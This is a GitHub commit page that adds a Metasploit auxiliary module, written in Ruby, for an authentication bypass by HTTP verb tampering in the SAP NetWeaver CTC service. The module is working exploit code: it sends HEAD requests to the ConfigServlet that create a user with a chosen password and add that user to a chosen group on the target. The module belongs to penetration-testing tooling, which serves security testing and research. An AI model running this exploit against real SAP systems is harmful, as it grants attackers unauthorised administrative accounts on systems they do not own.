Skip to content

Commit f3f0272

Browse files
author
jvazquez-r7
committed
Land rapid7#1652, @nmonkee's SAP CTC Verb Tampering for User Mgmt module
2 parents c82bb73 + 5b30115 commit f3f0272

File tree

1 file changed

+79
-0
lines changed

1 file changed

+79
-0
lines changed
Lines changed: 79 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,79 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# Framework web site for more information on licensing and terms of use.
5+
# http://metasploit.com/framework/
6+
##
7+
8+
##
9+
# This module is based on, inspired by, or is a port of a plugin available in
10+
# the Onapsis Bizploit Opensource ERP Penetration Testing framework -
11+
# http://www.onapsis.com/research-free-solutions.php.
12+
# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts
13+
# in producing the Metasploit modules and was happy to share his knowledge and
14+
# experience - a very cool guy.
15+
#
16+
# The following guys from ERP-SCAN deserve credit for their contributions -
17+
# Alexandr Polyakov, Alexey Sintsov, Alexey Tyurin, Dmitry Chastukhin and
18+
# Dmitry Evdokimov.
19+
#
20+
# I'd also like to thank Chris John Riley, Ian de Villiers and Joris van de Vis
21+
# who have Beta tested the modules and provided excellent feedback. Some people
22+
# just seem to enjoy hacking SAP :)
23+
##
24+
25+
require 'msf/core'
26+
27+
class Metasploit4 < Msf::Auxiliary
28+
include Msf::Exploit::Remote::HttpClient
29+
include Msf::Auxiliary::Report
30+
include Msf::Auxiliary::Scanner
31+
32+
def initialize
33+
super(
34+
'Name' => 'SAP CTC Service Verb Tampering (add user and add role)',
35+
'Description' => %q{
36+
This module exploits an authentication bypass vulnerability in SAP NetWeaver CTC service.
37+
The service is vulnerable to verb tampering and allows for unauthorised user management.
38+
SAP Note 1589525, 1624450 / DSECRG-11-041.
39+
},
40+
'References' => [['URL','http://erpscan.com/advisories/dsecrg-11-041-sap-netweaver-authentication-bypass-verb-tampering/']],
41+
'Author' => ['nmonkee'],
42+
'License' => MSF_LICENSE
43+
)
44+
45+
register_options([
46+
OptString.new('USER', [true, 'Username', nil]),
47+
OptString.new('PASS', [true, 'Password', nil]),
48+
OptString.new('GROUP', [true, 'Group', nil])
49+
], self.class)
50+
end
51+
52+
def run_host(ip)
53+
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME=' + datastore['USER'] + ',PASSWORD=' + datastore['PASS']
54+
send_request(uri)
55+
uri = '/ctc/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME=' + datastore['USER'] + ',GROUPNAME=' + datastore['GROUP']
56+
send_request(uri)
57+
end
58+
59+
def send_request(uri)
60+
begin
61+
print_status("[SAP] #{rhost}:#{rport} - sending request")
62+
res = send_request_raw({
63+
'uri' => uri,
64+
'method' => 'HEAD',
65+
'headers' =>{
66+
'Cookie' => 'sap-usercontext=sap-language=EN',
67+
'Content-Type' => 'text/xml; charset=UTF-8',}
68+
}, 45)
69+
if res
70+
vprint_error("[SAP] #{rhost}:#{rport} - Error code: " + res.code.to_s)
71+
vprint_error("[SAP] #{rhost}:#{rport} - Error title: " + res.message.to_s)
72+
vprint_error("[SAP] #{rhost}:#{rport} - Error message: " + res.body.to_s)
73+
end
74+
rescue ::Rex::ConnectionError
75+
print_error("#{rhost}:#{rport} - Unable to connect")
76+
return
77+
end
78+
end
79+
end

0 commit comments

Comments
 (0)